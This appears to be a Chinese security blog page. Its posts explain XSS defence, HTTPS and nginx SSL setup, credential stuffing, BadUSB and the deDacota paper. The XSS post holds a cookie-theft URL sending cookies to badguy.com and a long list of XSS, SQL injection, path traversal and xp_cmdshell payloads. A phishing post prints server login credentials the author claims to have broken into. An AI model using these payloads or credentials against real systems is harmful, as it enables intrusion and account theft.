结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


admin 发布于  2016-4-10 16:44 

95533发来积分换现金短信--小把戏-已举报-已日 杂七杂八

今天媳妇儿手机收到一条95533发来的短信,说什么积分兑换,我媳妇儿还好很聪明,说自己的工行卡压根儿就没用过 -_-| 估计骗子也是醉了 哈哈  我也是醉了:Screenshot_com.miui.gallery_2015-09-26-10-40-35.png看着网址,就不是官方的。。。可是我还是好奇。进去看了一下:

Screenshot_com.mmbox.xbrowser_2015-09-26-10-37-08.pngScreenshot_com.mmbox.xbrowser_2015-09-26-10-37-31.png

Screenshot_com.mmbox.xbrowser_2015-09-26-10-37-53.pngScreenshot_com.mmbox.xbrowser_2015-09-26-10-37-53.png

看到底部的那个51la统计代码图片,我就笑了。。。工行官方的网站会这样的页面么!。。。再看他的所谓的要闻,点进去全是跳转到了工行官网。。。地址栏的变化还不足以证明它是假的么!然后搜索百度,发现还真有人上当的:QQ截图20150926115042.png

。。。随便看了一下。。。服务器是Windows server2003的,000044-2015-09-26.jpg

账号:lmobch95533 密码:955wap.lmobch.com33  不谢!已爆菊。。。(在我写文章这会儿不知道回复没有啊)

已举报!我是好孩子!:QQ截图20150926105016.png

最后提醒大家,遇到这些天上掉馅饼的好事,还是问问度娘,问问你身边的人,别一看见馅饼就两眼放光啥都不顾了。。。这些钓鱼,欺诈,只要你稍微细心一点就不会上当了。

最后想说的是,工行你为何这么伤!最近好多工行被欺诈的事。。。不说了,说多了都是泪。


admin 发布于  2015-9-26 10:41 

浅谈HTTPS链接的重要性和安全性 网络安全

03.png

今天我的一位仁兄被人误导说HTTPS慢,就这个问题我们来浅谈下HTTPS的速度和安全。首先HTTPS是一个优良而且很棒的协议,他为服务器和客户端之间的数据传输提供了强有力的保障。浅谈HTTPS的速度和安全事实证明HTTPS速度是快的。

Mrxn通过实验测试结果证明,HTTPS确实需要CPU来中断SSL连接,这需要的处理能力对于现代计算机而言是小菜一碟了,你会遇到SSL性能瓶颈的可能性完全为0,首屏加载时间与HTTP协议的时间几乎一致。慢,只会在你网络出现问题的时候发生,和SSL/HTTPS毫无干系,或者极有是你的应用程序性能上遇到瓶颈。
HTTPS是一个重要的连接保障
虽然HTTPS并不放之四海而皆准的web安全方案,但是没有它你就不能以策万全。所有的web 安全都倚赖你拥有了HTTPS。如果你没有它,不管对密码做了多强的哈希加密,或者做了多少数据加密,攻击者都可以简单的模拟一个客户端的网络连接,读取它们的安全凭证,极具威胁。此外,证书签名很显然不是一个完美的实践,但每一种浏览器厂商针对认证机构都有相当严格和严谨的规则。要成为一个受到信任的认证机构是非常难的,而且要保持自己良好的信誉也同样是困难的。
HTTPS流量拦截可以避免
本质上讲,可以使自己的客户只去信任真正可用的 SSL 证书,有效的阻挡所有类型的SSL MITM攻击,如果你是要把 SSL 服务部署到一个不受信任的位置,你最应该考虑使用SSL证书。
HTTPS拥有免费的证书服务
国内和国外都提供了免费的基础等级SSL证书,普及了SSL的支持。 一旦让加密的方案上线,你就能够对你的网站和服务进行100%的加密,完全没有任何花费。
HTTP 在私有网络上并不安全
如果一个攻击者获得了对你的任何内部服务的访问权限,所有的HTTP流量都将会被拦截和解读,这就是为什么HTTPS不管是在公共网络还是私有网络都极其重要的原因。如果是把服务部署在AWS上面,就不要想让你的网络流量是私有的了,因为AWS网络就是公共的,这意味着其它的AWS用户都潜在的能够嗅探到你的网络流量。
2015年百度启用HTTPS搜索
在2015年5月,百度也启用了HTTPS安全搜索,并且支持HTTPS站点的积极优先收录,更可以证明,互联网巨头也开始注重网络传输安全了。
总结
如果你正在做网页服务,毫无疑问,你应该使用 HTTPS。它很容易且能获得用户信任,没有理由不用它。作为ICP,作为程序员我们必须要承担起保护用户的重任。
PS:没有经过事实验证的任何说法,不值得我们信任!


admin 发布于  2015-9-17 19:03 

emlog 使用ssl证书开启HTTPS安全访问三步曲 技术文章

02.jpg

最近在研究ssl,所以就给自己得博客使用了ssl,拿自己的博客实战研究ssl,哈哈,废话不说,如果你也想体验一下ssl,那就开始吧:

科普一下(ssl有啥好处呢):参考-浅谈HTTPS链接的重要性和安全性 这篇文章。

ssl传送大概示意图:01.jpg

emlog配置ssl很简单,只需要三步:

第一步:申请ssl证书,学习研究推荐使用免费的ssl证书(如果你是土豪,请无视-_-|),申请教程不写了,没时间,google搜索一大把。

第一个:https://www.startssl.com/ 第二个:https://www.wosign.com/  第一个是英语的,如果看不懂就用第二个国内的,但是国内的只支持sha1算法,国外的可以选择sha2-256位RSA公钥,和4096位的服务器crt身份密钥,更高的加密算法。效果请查看我的网站

申请成功解压之后,文件目录结构如下图所示:

04.png


因为这里我们是用NGINX WEB环境的,所以我们需要解压FOR NGINX.ZIP文件包,然后看到一个CRT一个KEY文件。

第二步、上传和部署SSL证书 A - 把上面的一个CRT一个KEY文件上传到VPS ROOT目录中,然后对应修改成SSL.CRT和SSL.KEY文件名,或者我们用作其他命令都可以。 B - 解密私钥和设置权限

openssl rsa -in ssl.key -out /root/ssl.key
chmod 600 /root/ssl.key

登录SSH,执行上述两行脚本,解密私钥和授权。


第三步、在LNMP环境部署站点SSL设置

我们需要在已有的LNMP添加了站点,然后在站点对应的CONF文件设置。

在"/usr/local/nginx/conf/vhost/"目录文件中,找到对应站点的conf文件,然后修改设置如下

server
{
 listen 80;
 listen 443 ssl;
#listen [::]:80;
ssl on;
        ssl_certificate /root/ssl.crt;
        ssl_certificate_key /root/ssl.key;
server_name mrxn.net mrxn.net;

/root/ssl.crt 是我自己的设置,对应路径我们要与之前上传的CRT和KEY文件路径对应以及文件名不要搞错。

最后,我们重启LNMP,可以看到SSL证书生效,且HTTPS可以访问站点。

06.png


这是在网站所有资源都在本域名下,而且是https 加密安全访问的情况下。一般你一操作完都不是这样的,而是这样的:

05.png

小锁头上面有一个感叹号标志的,如何解决呢:

首先是在后台设置域名地址为:https://mrxn.net 然后,修改 /include/lib/function.base.php ,把头像获取的链接修改成https://开头的:$avatar = "https://cn.gravatar.com/avatar/$hash?s=$s&d=$d&r=$g"; 再回来  数据--更新缓存 之后,打开首页 Ctrl + F5 基本上就是绿色的小箭头了。

如果还没有呢,那多半就是你文章的图片地址是 https://mrxn.net 这样开头的,所以,直接更新数据库的blog表的content和excerpt字段即可:

update emlog_blog set content=replace(content,'https://mrxn.net','https://mrxn.net');
update emlog_blog set excerpt=replace(excerpt,'https://mrxn.net','https://mrxn.net'); 

这样更新完数据库之后,你的网站就基本上全部替换完了非加密连接了(内容页和摘要都更新了,其他的地方貌似没有了,自己写的不算)。
如果我们需要强制使用HTTPS网址访问,那我们就需要取掉 listen 80;脚本。或者是在 listen 80;前面加上# 修改成:#listen 80;

最终修改配置大概如下:

server
    {
        #listen 80;
        listen 443 ssl;
        #listen [::]:80;
        ssl on;
        ssl_certificate 存放ssl证书文件路径.crt;
        ssl_certificate_key 存放ssl证书文件路径.key;
        server_name mrxn.net mrxn.net;
        index index.html index.htm index.php default.html default.htm default.php;
        root  网站存放文件路径;
        keepalive_timeout   60;
       .......此处省略.......
    }
server {
listen 80;
server_name mrxn.net mrxn.net;
return 301 https://mrxn.net$request_uri;
}


注意将域名修改成你自己的域名。至此,基本上就完成了ssl证书的安装,开启https访问了。

相关文章:


一段代码让nginx实现网站资源防盗链

nginx配置location总结及rewrite规则写法

nginx配置ssl加密(单双向认证、部分https)

NginxRewrite规则判断普通用户与搜索引擎爬虫(UA)实现https跳转

SSL/TLS原理详解

OpenSSL 与 SSL 数字证书概念贴

基于OpenSSL自建CA和颁发SSL证书


最后呢,希望有高手带我学习https方面的东西呀,这篇文章呢,也希望对想要使用ssl的童鞋一点帮助,如果哪位看官有更好的方法或者是建议,欢迎留言/评论 不吝赐教啊,我洗耳恭听,多帮忙吧 谢谢。


admin 发布于  2015-9-17 18:45 

从12306信息泄露了解何为黑客撞库拖库洗库 技术文章

1.jpg

12月25日,漏洞报告平台乌云网出现了一则关于中国铁路购票网站12306的漏洞报告,危害等级显示为“高”,漏洞类型则是“用户资料大量泄漏”。据悉,此漏洞将有可能导致所有注册了12306用户的账号、明文密码、身份证、邮箱等敏感信息泄露。对此,中国铁路客户服务中心回应称,经我网站认真核查,此泄露信息全部含有用户的明文密码。我网站数据库所有用户密码均为多次加密的非明文转换码,网上泄露的用户信息系经其他网站或渠道流出。目前,公安机关已经介入调查。

当天,乌云平台继续发布消息称,12306的数据疑似黑客撞库后整理得到,而并非12306直接泄漏。那么什么是“黑客撞库”?我们一起来看看。

2.jpg

撞库:黑客通过收集互联网已泄露的用户+密码信息,生成对应的字典表,尝试批量登录其他网站后,得到一系列密码组合后可以登录的用户。

黑客首先会通过收集互联网已泄露的用户+密码信息,生成对应的字典表,然后再用字典中罗列的用户和密码,尝试批量登陆其他网站。如果用户图省事在多个网站设置了同样的用户名和密码,黑客很容易就会通过字典中已有的信息,登录到这些网站,从而获得用户的相关信息,如:手机号码、身份证号码、家庭住址,支付宝及网银信息等。

3.jpg
之前某电商网站发生的“抹黑”事件,就是黑客利用“撞库”方法,“凑巧”获取到了该电商网站用户的数据(如用户名密码),然后通过模仿用户评论,留下了大量差评。

有安全人士分析了此次12306的用户信息泄露时间,推断基本可以定性为撞库行为。理由如下:

1、随机抽取了一批账号(约50个)均成功登录12306,证明了该批数据是准确的;
2、随机联系了该批数据中的多个qq用户,均反馈没有使用过抢票软件且近期没有购票行为;
3、经与群中人员进行交流,并未有人见过该批18G的全部数据,普遍认为该批数据为撞库所得,并不存在18G的12306全部数据。
4、安全人员搜索以往互联网上的数据进行了匹配,从17173.com、7k7k.com、uuu9.com等网站泄露流传的数据中搜索到了该批13.15万条用户数据,基本可以确认该批数据全部是通过撞库获得。”

黑客团队从地下产业链收购海量用户名及密码数据,在12306、淘宝、京东等不同网站进行撞库匹配,而大部分网民在各大互联网平台采用同一套用户名密码,这会让黑客存在可乘之机。

有安全领域人士分析称,12306此次信息泄露依然和安全体系不完善有关,如果这次撞库发生在需要二次验证登录的系统中则不可能成功。

拖库:和撞库类似,拖库也是一个黑客术语,它指的是黑客入侵有价值的网站,把注册用户的资料数据库全部盗走的行为,因为谐音,所以也常被称作“脱裤”。之前发生的某手机品牌用户信息大量泄露事件,就是拖裤行为的一个典型案例。在该事件中,用户名和密码大量泄露,黑客反过利用这些用户名和密码,登录该品牌服务器,获得了极其详细的用户资料,其中包括用户的手机号、邮箱甚至通讯录等。

洗库在取得大量的用户数据之后,黑客会通过一系列的技术手段和黑色产业链,将有价值的用户数据变成现金以达到非法获利的目的。这一过程被称为“洗库”。比如:售卖用户账号中的虚拟货币、游戏账号、装备等变现,也就是俗称的“盗号”;对于金融类账号,比如:支付宝、网银、信用卡、股票的账号和密码等,用来进行金融犯罪和诈骗;对于一些比较特殊的用户信息如:学生、打工者、老板等,则会通过发送广告、垃圾短信、电商营销等方式变相获利;另外是将有价值的用户信息直接出售给第三方,如网店经营者和广告投放公司等。比如黑客利用此次获取的12306帐户信息做铁路购票、退票、专卖信息等。

这里再次特别提醒用户,一定提高警惕,保护自己的帐户密码安全,尽量不要在多个网站或者客户端中使用相同的用户名和密码,并且不定时更换密码。参阅《江湖险恶 如何设置安全又方便的个人密码》


admin 发布于  2014-12-27 12:29 

插入U盘自动攻击:BadUSB原理与实现(含视频) 渗透测试

漏洞背景

“BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作。注意,这里的U盘自动运行可不是以前的autorun.inf自动运行程序哦,具体的技术细节可以参考后文内容。

视频链接:http://v.qq.com/boke/page/l/g/w/l01425u2igw.html

BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是"USB RUBBERDUCKY"和"Teensy"。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战


USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造


U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

总结

“USB RUBBER DUCKY”、“TEENSY”、“BadUSB”三种最终都是利用了USB协议的漏洞而进行攻击的,“BadUSB”和另外两者的区别在于:BadUSB可以利用普通的USB设备,而不需要进行硬件定制,更具有普遍性。

HID攻击方式有很多种,BadUSB作为其中一种是通过伪装成键盘设备来实现的,同时HID攻击也可以通过伪装成网卡进行DNS劫持攻击。BadUSB的危害目前局限于单向感染,即USB设备感染PC,暂无发现从PC感染USB设备案例。

为了预防此类安全风险,需要我们在日常使用USB设备时,不要使用陌生的USB设备,避免USB存在恶意代码导致安全风险。

延伸:更多的USB接口攻击

通过USB接口攻击的案例很多,BadUSB只是一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。




     比如今年爆发的WireLurker蠕虫,感染病毒的电脑系统会通过USB接口去间接感染iOS设备,即使是未越狱的设备也无法避免;


最近央视也报道了充电宝盗取手机隐私的案例对于愈演愈烈的USB风险,应用层还没有见到好的解决方案。倒是硬件层面比较容易解决。比如360无线安全研究团队的SecUSB,还有我们腾讯安全应急响应中心的SecLine。原理都是将USB中的两根数据线去掉。转自freebuf


admin 发布于  2014-12-17 19:52 

deDacota:通过自动化分离数据和代码防御服务端XSS漏洞 渗透测试

原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf

以下为译文:


Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。

一、跨站脚本漏洞:

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。

二、内容安全策略(CSP)

为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。

三、内联JS分离技术

内联JS分离技术包含三个主要步骤:

1、 静态分析网页代码的HTML输出。

2、 从HTML页面抽取出全部内联JavaScript代码。

